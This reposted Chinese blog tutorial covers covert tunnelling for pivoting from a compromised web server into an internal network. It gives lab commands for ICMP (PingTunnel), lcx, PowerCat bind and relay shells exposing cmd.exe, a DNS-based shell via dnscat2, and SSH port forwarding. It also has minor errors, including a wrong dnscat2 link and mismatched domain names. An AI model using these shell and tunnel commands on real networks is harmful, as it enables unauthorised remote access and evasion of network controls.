小言_互联网的博客

内网渗透--隐藏通信隧道技术

271人阅读  评论(0)

为什么要建立隧道

隧道–绕过端口屏蔽的方式。当我们拿到一台web服务器的权限时,内网服务器对于安全的考虑,可能会对进出的流量端口进行一些屏蔽,这样,我们就无法和内网的服务器进行连接。所以需要通过web服务器作为跳板,建立隧道,达到与内网服务器连通的效果。(个人理解)

判断内网的连通性

内网的连通性,就是是否能连接外网。

下面列出几种测试的方式:

1.ping命令

ping命令通过发送ICMP数据包,检测连通性。

2.nc

通过TCP协议连接。

3.curl命令
通过HTTP协议,可以对目标网站发起请求,上传,下载等。

4.nslookup,dig命令
通过DNS协议,nslookup(windows命令),dig(linux命令 )。

该命令会对DNS服务器进行地址的读取。

常用的网络隧道技术(常用工具)

网络层

ICMP隧道

协议不解释。

搭建前提:外网可以ping通内网服务器,但是无法直接访问服务器。

PingTunnel(可跨平台)

下载链接:http://freshmeat.sourceforge.net/projects/ptunnel/

安装步骤:

tar xf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

如果出现报错:pcap.h

wegt 下载:http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz

tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure

出现错误:

安装:

如果缺少第三方包,安装第三方包即可。

使用方式

在web服务器上开始隧道服务:

ptunnel -x test

攻击机上执行:

访问攻击机1080端口时,会把192.168.100.100的3389端口服务的数据封装在ICMP隧道中,以web服务器192.168.133.129为跳板进行传输。

ptunnel -p 192.168.133.129 -lp 1080 -da 192.168.100.100 -dp 3389 -x test 

物理机连接vps的1080端口:

参数解释:

-x 设置隧道连接密码
-lp 指定监听的端口
-da 转发的IP地址
-dp 转发的tcp端口
-p 开启icmp隧道的ip地址

传输层

基于Socket套接字

lcx(windows)

在目标服务器上执行:

将本地的3389端口转发到192.168.100.101(攻击机)的4444端口

lcx-32.exe -slave 192.168.100.101:4444 127.0.0.1:3389

在攻击机上执行:

将4444端口数据转发到5555端口

lcx-32.exe -listen 4444 5555

连接攻击机的5555端口:

基于tcp协议

nc(linux,windows)

PowerCat(nc的PowerShell版)

下载链接:https://github.com/besimorhino/powercat.git

进入powershell环境,进行导入:

Import-Module .\powercat.ps1

如果出现错误,执行:

Set-ExecutionPolicy RemoteSigned

再进行导入。

实验测试

kali linux 、win 7 、win server 08

win 7 可以和另外两台主机ping通,kali和08不能ping通。

以win 7 为跳板实现kali连接08.

在08中执行:

powercat -l -v -p 7777 -e cmd.exe

在 win 7 执行:

powercat -l -v -p 8888 -r tcp:192.168.100.100:7777

kali 对 win7 的8888端口进行连接:

PowerCat基于DNS协议进行端口转发

首先下载dnscat2:https://github.com/besimorhino/powercat.git

cd dnscat2/server/
gem install bundler
bundle install

win 7执行:

powercat -l -p 8000 -r dns:攻击机ip地址::ttpowercar.test

kali:

ruby dnscat2.rb ttpowercat.test -e open --no-cache

08 server:

powercat -c 跳板机ip -p 8000 -v -e cmd.exe

kali 收到连接:

应用层

基于ssh协议

ssh隧道协议常用参数:

-C 压缩传输,提高传输速度
-f 转入后台执行,不占用当前shell
-N 建立连接,但不返回会话
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定ssh端口

本地转发

测试环境:

攻击机kali linux (192.168.133.149)

web服务器:linux (192.168.133.129、192.168.100.128)

内网服务器:Windows server 08 (192.168.100.100)

首先web服务器要开启ssh服务。

攻击机kali执行:

ssh -CfNg -L 1153:192.168.100.100:3389 root@192.168.133.129

查看1153端口的服务:

连接此端口:

本地端口转发:以web服务器为跳板,将内网的端口映射到攻击机的指定端口。

远程转发

环境不变。

条件:攻击机不能访问内网的任何一台主机(包括web服务器)

但是web服务器可以访问外网攻击机。

在web服务器上执行:

ssh -CfNg -R 3307:192.168.100.100:3389 root@192.168.133.149

攻击机访问本地3307端口:

以web服务器为跳板,将攻击机的3307端口的流量转发到内网服务器的3389端口,访问本地3307来连接内网的3389。

总结

简单总结了几种常见的端口转发方式,有的工具在使用的时候需要安装第三方库,在实战中可能会存在一些问题。


转载:https://blog.csdn.net/qq_45742511/article/details/117063894
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场